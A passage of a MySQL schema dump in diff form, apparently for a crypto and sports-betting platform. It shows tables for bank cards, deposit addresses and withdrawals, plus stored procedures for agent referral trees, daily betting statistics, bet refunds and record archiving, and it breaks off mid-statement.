---------------------------- +-- Table structure for t_user_bank +-- ---------------------------- +DROP TABLE IF EXISTS `t_user_bank`; +CREATE TABLE `t_user_bank` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT, + `user_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '姓名', + `card_number` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '银行卡号', + `bank_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '开户银行名称', + `bank_address` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '开户省市', + `bank_branch` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '开户网点', + `user_id` bigint(0) NULL DEFAULT NULL COMMENT '用户名称', + `admin_parent_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `search_value` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `bank_code` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '银行编码', + `user_address` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '用户地址', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 42 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_user_coin +-- ---------------------------- +DROP TABLE IF EXISTS `t_user_coin`; +CREATE TABLE `t_user_coin` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键', + `user_id` bigint(0) NULL DEFAULT NULL COMMENT '用户id', + `coin` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种', + `icon` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '图标', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_user_coin +-- ---------------------------- +INSERT INTO `t_user_coin` VALUES (1, 336, 'btc', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/bitcoin.png'); + +-- ---------------------------- +-- Table structure for t_user_symbol_address +-- ---------------------------- +DROP TABLE IF EXISTS `t_user_symbol_address`; +CREATE TABLE `t_user_symbol_address` ( + `id` int(0) NOT NULL AUTO_INCREMENT COMMENT '主键id', + `user_id` int(0) NULL DEFAULT NULL COMMENT '用户id', + `symbol` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种', + `address` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '充值地址', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 6 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '用户币种充值地址' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_user_symbol_address +-- ---------------------------- +INSERT INTO `t_user_symbol_address` VALUES (4, 309, 'ETH', 'sdasdsad', NULL); +INSERT INTO `t_user_symbol_address` VALUES (5, 309, 'BTC', 'bteaddress', NULL); + +-- ---------------------------- +-- Table structure for t_withdraw +-- ---------------------------- +DROP TABLE IF EXISTS `t_withdraw`; +CREATE TABLE `t_withdraw` ( + `id` int(0) NOT NULL AUTO_INCREMENT COMMENT '卡ID', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `user_id` int(0) NOT NULL COMMENT '用户', + `username` varchar(256) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '用户名', + `address` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '用户名', + `amount` decimal(30, 6) NULL DEFAULT NULL COMMENT '提现金额', + `status` tinyint(0) UNSIGNED NOT NULL COMMENT '0审核中1成功2失败', + `serial_id` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `from_addr` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '用户名', + `type` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '0审核中1成功2失败', + `coin` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '用户名', + `ratio` double NULL DEFAULT NULL, + `fee` decimal(10, 6) NULL DEFAULT 0.000000 COMMENT '手续费', + `withdraw_id` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '用户名', + `host` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT 'Host', + `real_amount` decimal(20, 6) NULL DEFAULT NULL COMMENT '实际金额', + `to_adress` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '收款地址', + `admin_parent_ids` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '后台用户id', + `notice_flag` int(0) NULL DEFAULT 0 COMMENT '通知字段 0未通知 1通知了', + `with_draw_remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '提现说明', + `bank_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '银行名称', + `bank_user_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '银行收款人名称', + `bank_branch` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `admin_user_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `operate_time` datetime(0) NULL DEFAULT NULL COMMENT '操作时间', + `fixed_fee` decimal(10, 6) NOT NULL DEFAULT 0.000000 COMMENT '固定手续费', + `order_type` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '订单类型 1/null 提现 2=彩金扣减', + `exchange_rate` decimal(10, 4) NULL DEFAULT NULL COMMENT '汇率', + `receipt_amount` decimal(10, 6) NULL DEFAULT NULL COMMENT '应到账金额', + `receipt_real_amount` decimal(10, 6) NULL DEFAULT NULL COMMENT '实际到账金额', + `receipt_coin` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '到账币种', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_username`(`address`) USING BTREE, + INDEX `idx_time`(`create_time`) USING BTREE, + INDEX `admin_user_id`(`admin_parent_ids`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 2629 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_bin COMMENT = '用户提现表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_withdraw +-- ---------------------------- +INSERT INTO `t_withdraw` VALUES (2625, '123456', '2023-12-08 02:35:44', 'admin', '2023-12-08 02:39:01', NULL, 315, '123456', '', 1000.000000, 1, 'P120718351752', NULL, NULL, 'USDT-TRC', 'usdt', 0, 0.000000, NULL, NULL, 1000.000000, 'Fjfjfgjggj884', NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0.000000, NULL, 1.0000, 1000.000000, 1000.000000, 'usdt'); +INSERT INTO `t_withdraw` VALUES (2626, '123456', '2023-12-08 02:39:59', 'admin', '2023-12-08 02:40:43', NULL, 315, '123456', '', 3988.000000, 2, 'P1207183995071', NULL, NULL, 'USDT-TRC', 'usdt', 0, 0.000000, NULL, NULL, 3988.000000, 'Djjdfjgjssjxjc', NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0.000000, NULL, 1.0000, 3988.000000, 3988.000000, 'usdt'); +INSERT INTO `t_withdraw` VALUES (2627, 'test01', '2024-02-08 18:51:25', 'admin', '2024-02-08 18:59:13', NULL, 309, 'test01', '', 100.000000, 2, 'P0208105124236', NULL, NULL, 'USDT-TRC', 'usdt', 0, 0.000000, NULL, NULL, 100.000000, '111121312312', NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0.000000, NULL, 1.0000, 100.000000, 100.000000, 'usdt'); +INSERT INTO `t_withdraw` VALUES (2628, 'test01', '2024-02-08 18:59:47', NULL, '2024-02-08 18:59:47', NULL, 309, 'test01', '', 100.000000, 0, 'P0208105911782', NULL, NULL, 'USDT-TRC', 'usdt', 0, 0.000000, NULL, NULL, 100.000000, '111', NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0.000000, NULL, 1.0000, 100.000000, 100.000000, 'usdt'); + +-- ---------------------------- +-- Procedure structure for agentCount +-- ---------------------------- +DROP PROCEDURE IF EXISTS `agentCount`; +delimiter ;; +CREATE PROCEDURE `agentCount`(IN d INT) +BEGIN + +DECLARE s INT DEFAULT 0; +DECLARE uid INT DEFAULT 0; +DECLARE curr DATE DEFAULT NULL; + +DECLARE cu CURSOR FOR SELECT user_id FROM t_app_user WHERE user_id IN (SELECT distinct root_id FROM agent_relation ); +DECLARE CONTINUE HANDLER FOR NOT found SET s=1; + +OPEN cu; + SET curr = DATE_SUB(CURDATE(),INTERVAL d DAY); + FETCH cu INTO uid; + WHILE s<>1 DO + DROP TABLE IF EXISTS a_temp; + CREATE TABLE a_temp AS SELECT user_id FROM agent_relation WHERE root_id=uid; + SELECT @subnum:= COUNT(*) FROM a_temp; + + IF @subnum>0 THEN + SELECT @reward:= IFNULL(SUM(amount),0) FROM t_app_wallet_record WHERE user_id =uid AND type=3 AND date_format(create_time,'%y%m%d') = date_format(curr,'%y%m%d'); + + SELECT @firstperson:= COUNT(1) FROM t_app_recharge WHERE user_id IN (SELECT user_id FROM a_temp ) AND pay_times=1 AND status=1 AND date_format(update_time,'%y%m%d') = date_format(curr,'%y%m%d'); + SELECT @drwamoney:= IFNULL(SUM(t.amount),0) ,@drawperson:= COUNT(distinct(t.user_id)) FROM t_withdraw t WHERE t.user_id IN (SELECT user_id FROM a_temp ) AND t.status=1 AND date_format(t.update_time,'%y%m%d') = date_format(curr,'%y%m%d'); + SELECT @sdrawmoney:= IFNULL(SUM(t.amount),0) ,@sdrawperson:= COUNT(distinct(t.user_id)) FROM t_app_wallet_record t WHERE t.user_id IN (SELECT user_id FROM a_temp ) AND t.type=12 AND date_format(t.create_time,'%y%m%d') = date_format(curr,'%y%m%d'); + + SELECT @paymoney:= IFNULL(SUM(t.amount),0) ,@person:= COUNT(distinct(t.user_id)) FROM t_app_wallet_record t WHERE t.user_id IN (SELECT user_id FROM a_temp ) AND (t.type=1 OR t.type=10) AND date_format(t.create_time,'%y%m%d') = date_format(curr,'%y%m%d'); + SELECT @ordtime:=COUNT(*) ,@ordperson := COUNT(distinct(r.user_id)) FROM t_order_item r WHERE r.user_id IN (SELECT user_id FROM a_temp ) AND date_format(r.create_time,'%y%m%d') = date_format(curr,'%y%m%d'); + SELECT @directsub:= COUNT(*) FROM t_app_user WHERE parent_id =uid; + INSERT INTO t_app_agent + (user_id,create_time,dirsub,sub,sub_reward,pay_person,pay_money,order_person,order_times,draw_money,draw_person,first_person) + VALUES + (uid,curr,@directsub,@subnum,@reward,@person,@paymoney,@ordperson,@ordtime,@drwamoney+@sdrawmoney,@drawperson+@sdrawperson,@firstperson); + END IF; + FETCH cu INTO uid; + END WHILE; +CLOSE cu; +DROP TABLE IF EXISTS a_temp; +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for agentRelation +-- ---------------------------- +DROP PROCEDURE IF EXISTS `agentRelation`; +delimiter ;; +CREATE PROCEDURE `agentRelation`(IN uid BIGINT) +BEGIN + +DECLARE rlevel INT DEFAULT 0; +DECLARE rootid TEXT DEFAULT NULL; + +SELECT @rtree:=tree FROM t_app_user where user_id=uid; +SET rlevel=1; + iterator: + LOOP + SET rootid =SUBSTRING_INDEX(SUBSTRING_INDEX(@rtree,',',0-rlevel),',',1); + INSERT INTO agent_relation (user_id,root_id,level,create_time) VALUES (uid,rootid,rlevel,now()); + IF rootid =0 THEN + LEAVE iterator; + END IF; + SET rlevel=rlevel+1; + END LOOP; +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for agentRelationAll +-- ---------------------------- +DROP PROCEDURE IF EXISTS `agentRelationAll`; +delimiter ;; +CREATE PROCEDURE `agentRelationAll`() +BEGIN + +DECLARE s INT DEFAULT 0; +DECLARE uid INT DEFAULT 0; +DECLARE rlevel INT DEFAULT 0; +DECLARE rootid TEXT DEFAULT NULL; +DECLARE rtree VARCHAR(1024); + +DECLARE cu CURSOR FOR SELECT user_id,tree FROM t_app_user; +DECLARE CONTINUE HANDLER FOR NOT found SET s=1; + +OPEN cu; + FETCH cu INTO uid,rtree; + WHILE s<>1 DO + SET rlevel=1; + iterator: + LOOP + SET rootid =SUBSTRING_INDEX(SUBSTRING_INDEX(rtree,',',0-rlevel),',',1); + INSERT INTO agent_relation (user_id,root_id,level,create_time) VALUES (uid,rootid,rlevel,now()); + IF rootid =0 THEN + LEAVE iterator; + END IF; + SET rlevel=rlevel+1; + END LOOP; + FETCH cu INTO uid,rtree; + END WHILE; +CLOSE cu; +DROP TABLE IF EXISTS a_temp; +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for betDateCount +-- ---------------------------- +DROP PROCEDURE IF EXISTS `betDateCount`; +delimiter ;; +CREATE PROCEDURE `betDateCount`() +BEGIN + SELECT @betTimes:=COUNT(*),@betMoney:=IFNULL(SUM(t.money),0),@betperson:=COUNT(distinct (t.user_id)),@fee:=IFNULL(SUM(t.fee),0), @lose:=IFNULL(SUM(t.money-t.earn*t.money),0), + @tax:= SUM(t.money*(100+t.odd_percent)/100+t.earn*t.money*(100+t.odd_percent)/100-t.fee-t.earn*t.fee),@wl:=COUNT(t.earn),@win:=IFNULL(SUM(IF(earn=1,t.fee-t.money,0)),0) + FROM t_order_item t WHERE date_format(t.update_time,'%y%m%d')= DATE_SUB(CURDATE(),INTERVAL 1 DAY) AND t.`status`=1; + + INSERT INTO t_bet_date + (create_time,bet_money,bet_times,bet_person,tax,fee,wl,lose_money,win_fee) + VALUES + (DATE_SUB(CURDATE(),INTERVAL 1 DAY),@betMoney,@betTimes,@betperson,IFNULL(@tax,0)/2,@fee,@wl,@lose,@win); +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for bitchBack +-- ---------------------------- +DROP PROCEDURE IF EXISTS `bitchBack`; +delimiter ;; +CREATE PROCEDURE `bitchBack`(IN matchid INT,IN bet VARCHAR(20),IN ishalf INT,IN cname VARCHAR(20)) +BEGIN + DECLARE s INT DEFAULT 0; + DECLARE uid INT DEFAULT 0; + DECLARE betmoney BIGINT DEFAULT 0; + DECLARE tmoney BIGINT DEFAULT 0; + DECLARE toid VARCHAR(50) DEFAULT 0; + DECLARE cu CURSOR FOR SELECT user_id,money,serial_id FROM t_order_item WHERE match_id=matchid AND cut_line=bet AND status=1 AND is_half=ishalf; + DECLARE CONTINUE HANDLER FOR NOT found SET s=1; + OPEN cu; + FETCH cu INTO uid,betmoney,toid; + WHILE s<>1 DO + SELECT @tmoney:=money,@uname:=username FROM t_wallet WHERE user_id=uid; + UPDATE t_wallet SET money=money+betmoney WHERE user_id=uid; + INSERT INTO `t_app_wallet_record` (`amount`, `create_by`, `create_time`, `update_by`, `update_time`, `remark`, `user_id`, `username`, `search_value`, `before_amount`, `after_amount`, `serial_id`, `type`) VALUES + ( betmoney, cname, NOW(), NULL, NULL, 'bitchreback', uid, @uname, NULL, @tmoney, @tmoney+betmoney, toid, 17); + FETCH cu INTO uid,betmoney,toid; + END WHILE; + CLOSE cu; + UPDATE t_order_item SET `status`=3 WHERE match_id=matchid AND cut_line=bet AND status=1 AND is_half=ishalf; +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for dailyData +-- ---------------------------- +DROP PROCEDURE IF EXISTS `dailyData`; +delimiter ;; +CREATE PROCEDURE `dailyData`(IN d INT) +BEGIN + +DECLARE s INT DEFAULT 0; +DECLARE uid INT DEFAULT 0; +DECLARE curr DATE DEFAULT NULL; + +DECLARE cu CURSOR FOR SELECT contract_id FROM m_game; +DECLARE CONTINUE HANDLER FOR NOT found SET s=1; + +OPEN cu; + SET curr = DATE_SUB(CURDATE(),INTERVAL 1 DAY); + FETCH cu INTO uid; + WHILE s<>1 DO + SELECT @totalAmount:=sum(amount)/1000000, @totalNumber:=count(*), @totalUser:=count(DISTINCT(address)) + from t_order where date_format(create_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY); + SELECT @loseAmount:=sum(amount)/1000000, @loseNumber:=count(*), @totalUser:=count(DISTINCT(address)) + from t_order where date_format(create_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY) and status = 2; + SELECT @lotteryAmount:=sum(amount)/1000000, @lotteryNumber:=count(*), @lotteryUser:=count(DISTINCT(address)) + from t_order where date_format(create_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY) and status = 3; + SELECT @doneAmount:=sum(amount)/1000000, @doneNumber:=count(*), @doneUser:=count(DISTINCT(address)) + from t_order where date_format(create_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY) and status = 4; + INSERT INTO t_daily_data + (game_id,total_amount,total_user,total_number,lottery_amount,lottery_user,lottery_number,lose_amount,lose_user,lose_number,auto_date,create_time) + VALUES + (uid,totalAmount,totalUser,totalNumber,lotteryAmount,lotteryUser,lotteryNumber,loseAmount,loseUser,loseNumber,curr,CURDATE()); + FETCH cu INTO uid; + END WHILE; +CLOSE cu; +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for dailyDataPro +-- ---------------------------- +DROP PROCEDURE IF EXISTS `dailyDataPro`; +delimiter ;; +CREATE PROCEDURE `dailyDataPro`(IN d INT) +BEGIN + +DECLARE s INT DEFAULT 0; +DECLARE uid INT DEFAULT 0; +DECLARE curr DATE DEFAULT NULL; + +DECLARE cu CURSOR FOR SELECT contract_id FROM m_game; +DECLARE CONTINUE HANDLER FOR NOT found SET s=1; + +OPEN cu; + SET curr = DATE_SUB(CURDATE(),INTERVAL 1 DAY); + FETCH cu INTO uid; + WHILE s<>1 DO + SELECT @totalAmount:=sum(amount)/1000000, @totalNumber:=count(*), @totalUser:=count(DISTINCT(address)) + from t_order where date_format(begin_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY); + SELECT @loseAmount:=sum(amount)/1000000, @loseNumber:=count(*), @totalUser:=count(DISTINCT(address)) + from t_order where date_format(begin_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY) and status = 2; + SELECT @lotteryAmount:=sum(amount)/1000000, @lotteryNumber:=count(*), @lotteryUser:=count(DISTINCT(address)) + from t_order where date_format(begin_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY) and status = 3; + SELECT @doneAmount:=sum(amount)/1000000, @doneNumber:=count(*), @doneUser:=count(DISTINCT(address)) + from t_order where date_format(begin_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY) and status = 4; + INSERT INTO t_daily_data + (game_id,total_amount,total_user,total_number,lottery_amount,lottery_user,lottery_number,lose_amount,lose_user,lose_number,auto_date, create_date) + VALUES + (uid,totalAmount,totalUser,totalNumber,lotteryAmount,lotteryUser,lotteryNumber,loseAmount,loseUser,loseNumber,curry,CURDATE()); + FETCH cu INTO uid; + END WHILE; +CLOSE cu; +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for daily_sum_statistic +-- ---------------------------- +DROP PROCEDURE IF EXISTS `daily_sum_statistic`; +delimiter ;; +CREATE PROCEDURE `daily_sum_statistic`() +BEGIN +DECLARE s INT DEFAULT 0; +DECLARE uid INT DEFAULT 0; +DECLARE curr DATE DEFAULT NULL; +DECLARE cu CURSOR FOR SELECT contract_id FROM m_game; +DECLARE CONTINUE HANDLER FOR NOT found SET s=1; +OPEN cu; + SET curr = DATE_SUB(CURDATE(),INTERVAL 1 DAY); + FETCH cu INTO uid; + WHILE s<>1 DO + SELECT @totalAmount:=sum(amount)/1000000 as totalAmount, @totalNumber:=count(*) as totalNumber, @totalUser:=count(DISTINCT(address)) as totalUser from t_order where date_format(create_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY) and game_id = uid; + SELECT @loseAmount:=sum(amount)/1000000 as loseAmount , @loseNumber:=count(*) as loseNumber, @loseUser:=count(DISTINCT(address)) as loseUser from t_order where date_format(create_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY) and status = 2 and game_id = uid; + SELECT @lotteryAmount:=sum(amount)/1000000 as lotteryAmount, @lotteryNumber:=count(*) as lotteryNumber, @lotteryUser:=count(DISTINCT(address)) as lotteryUser from t_order where date_format(create_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY) and status = 3 and game_id=uid; + SELECT @doneAmount:=sum(amount)/1000000 as doneAmount, @doneNumber:=count(*) as doneNumber, @doneUser:=count(DISTINCT(address)) as doneUser from t_order where date_format(create_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY) and status = 4 and game_id=uid; + replace INTO t_daily_data (game_id,total_amount,total_user,total_number,lottery_amount,lottery_user,lottery_number,lose_amount,lose_user,lose_number, done_number, done_user, auto_date,create_time) + VALUES (uid,ifnull(@totalAmount,0),ifnull(@totalUser,0),ifnull(@totalNumber,0),ifnull(@lotteryAmount,0),ifnull(@lotteryUser,0),ifnull(@lotteryNumber,0),ifnull(@loseAmount,0),ifnull(@loseUser,0),ifnull(@loseNumber,0), ifnull(@doneNumber,0), ifnull(@doneUser,0), curr,now()); + FETCH cu INTO uid; + END WHILE; +CLOSE cu; +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for daily_sum_statistic_address +-- ---------------------------- +DROP PROCEDURE IF EXISTS `daily_sum_statistic_address`; +delimiter ;; +CREATE PROCEDURE `daily_sum_statistic_address`() +BEGIN +DECLARE s INT DEFAULT 0; +DECLARE uid INT DEFAULT 0; +DECLARE curr DATE DEFAULT NULL; +DECLARE out_done int DEFAULT FALSE ; +DECLARE cu CURSOR FOR SELECT contract_id FROM m_game; +DECLARE CONTINUE HANDLER FOR NOT found SET out_done=true; +OPEN cu; +SET curr = DATE_SUB(CURDATE(),INTERVAL 1 DAY); +WHILE not out_done DO + FETCH cu INTO uid; + if NOT out_done THEN + BEGIN + DECLARE inner_done int DEFAULT FALSE; + DECLARE address_now varchar(128) DEFAULT NULL; + + DECLARE address_cu CURSOR FOR SELECT distinct(address) FROM t_order where DATE(create_time) = DATE_SUB(CURDATE(),INTERVAL 1 DAY) and address is not null and game_id = uid; + DECLARE CONTINUE HANDLER FOR NOT FOUND SET inner_done = TRUE; + + OPEN address_cu; + WHILE not inner_done DO + FETCH address_cu INTO address_now; + IF NOT inner_done THEN + SELECT uid, address_now, @totalAmount:=sum(amount)/1000000 as totalAmount, @totalNumber:=count(*) as totalNumber from t_order where date_format(create_time,'%y%m%d')=date_format(DATE_SUB(CURDATE(),INTERVAL 1 DAY), '%y%m%d') and address = address_now and game_id = uid; + + SELECT uid, address_now, @loseAmount:=sum(amount)/1000000 as loseAmount , @loseNumber:=count(*) as loseNumber from t_order where date_format(create_time,'%y%m%d')=date_format(DATE_SUB(CURDATE(),INTERVAL 1 DAY), '%y%m%d') and status = 2 and address = address_now and game_id = uid; + + SELECT uid, address_now, @lotteryAmount:=sum(amount)/1000000 as lotteryAmount, @lotteryNumber:=count(*) as lotteryNumber from t_order where date_format(create_time,'%y%m%d')=date_format(DATE_SUB(CURDATE(),INTERVAL 1 DAY), '%y%m%d') and status = 3 and address = address_now and game_id = uid; + + SELECT uid, address_now, @doneAmount:=sum(amount)/1000000 as doneAmount, @doneNumber:=count(*) as doneNumber from t_order where date_format(create_time,'%y%m%d')=date_format(DATE_SUB(CURDATE(),INTERVAL 1 DAY), '%y%m%d') and status = 4 and address = address_now and game_id = uid; + + replace INTO t_user_game_daily_data (game_id, address, total_amount,total_number,lottery_amount,lottery_number,lose_amount,lose_number, done_number, auto_date,create_time) VALUES (uid, address_now, ifnull(@totalAmount,0),ifnull(@totalNumber,0),ifnull(@lotteryAmount,0),ifnull(@lotteryNumber,0),ifnull(@loseAmount,0),ifnull(@loseNumber, 0),ifnull(@doneNumber,0), curr,now()); + END IF; + END WHILE; + END; + END IF; +END WHILE; +CLOSE cu; +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for datacopy +-- ---------------------------- +DROP PROCEDURE IF EXISTS `datacopy`; +delimiter ;; +CREATE PROCEDURE `datacopy`() +BEGIN + INSERT INTO t_app_wallet_record_history SELECT * FROM t_app_wallet_record WHERE create_time < DATE_SUB(CURDATE(),INTERVAL 30 DAY); + delete FROM t_app_wallet_record WHERE create_time < DATE_SUB(CURDATE(),INTERVAL 30 DAY); + INSERT INTO t_order_item_history SELECT * FROM t_order_item WHERE create_time < DATE_SUB(CURDATE(),INTERVAL 30 DAY); + delete FROM t_order_item WHERE create_time < DATE_SUB(CURDATE(),INTERVAL 30 DAY); +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for matctDateCount +-- ---------------------------- +DROP PROCEDURE IF EXISTS `matctDateCount`; +delimiter ;; +CREATE PROCEDURE `matctDateCount`() +BEGIN + SELECT @matchs:= COUNT(distinct t.match_id),@money:= IFNULL(SUM(t.money),0),@fee:= IFNULL(SUM(t.fee),0),@times:=COUNT(*),@person:=COUNT(distinct t.user_id) + FROM t_order_item t WHERE date_format(t.begin_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY); + SELECT @allSport:=COUNT(*) FROM t_sports_item WHERE date_format(begin_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY); + + INSERT INTO t_sprot_date + (time,sport_number,bet_sport,bet_money,fee,bet_times,bet_person) + VALUES + (DATE_SUB(CURDATE(),INTERVAL 1 DAY),@allSport,@matchs,@money,@fee,@times,@person); +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for recordAgentbetDate +-- ---------------------------- +DROP PROCEDURE IF EXISTS `recordAgentbetDate`; +delimiter ;; +CREATE PROCEDURE `recordAgentbetDate`(IN d int,IN i int) +BEGIN +DECLARE s INT DEFAULT 0; +DECLARE c INT DEFAULT 0; +DECLARE uid INT DEFAULT 0; +DECLARE rtree VARCHAR(1024); + +DECLARE uids INT DEFAULT 0; +DECLARE rtrees VARCHAR(1024); + +DECLARE cu CURSOR FOR SELECT user_id,tree FROM t_app_user where user_id = i; +DECLARE cus CURSOR FOR SELECT user_id,tree FROM t_app_user where is_super_agent=1; + +DECLARE CONTINUE HANDLER FOR NOT found SET s=1; +IF i <> 0 THEN + SELECT count(id) into c from t_agent_bet_date t where t.agent_id = i and t.create_time = DATE_SUB(CURDATE(), INTERVAL d DAY); + if c<>0 THEN + DELETE from t_agent_bet_date t where t.agent_id = i and t.create_time = DATE_SUB(CURDATE(), INTERVAL d DAY); + end if; + OPEN cu; + FETCH cu INTO uid,rtree; + WHILE s<>1 DO + SELECT + @betTimes := COUNT(*), + @betMoney := IFNULL( SUM( t.money ), 0 ), + @betperson := COUNT(DISTINCT ( t.user_id )), + @fee := IFNULL( SUM( t.fee ), 0 ), + @lose := IFNULL( SUM( t.money - t.earn * t.money ), 0 ), + @tax := SUM(IF( t.earn = 1, t.money *( 100+t.odd_percent )/ 100-t.fee, 0 )), + @wl := COUNT(t.earn ), + @win := IFNULL( SUM( IF ( earn = 1, t.fee - t.money, 0 )), 0 ) + FROM + t_order_item t + WHERE + date_format( t.update_time, '%y%m%d' )= DATE_SUB( CURDATE(), INTERVAL d DAY ) + AND ( t.`status` = 1 OR t.`status` = 4 ) + AND t.user_id IN (SELECT user_id FROM t_app_user u WHERE u.is_test = 0 and (u.tree = CONCAT(rtree,',',uid) or u.tree like CONCAT(rtree,',',uid,'%'))); + + INSERT INTO t_agent_bet_date + 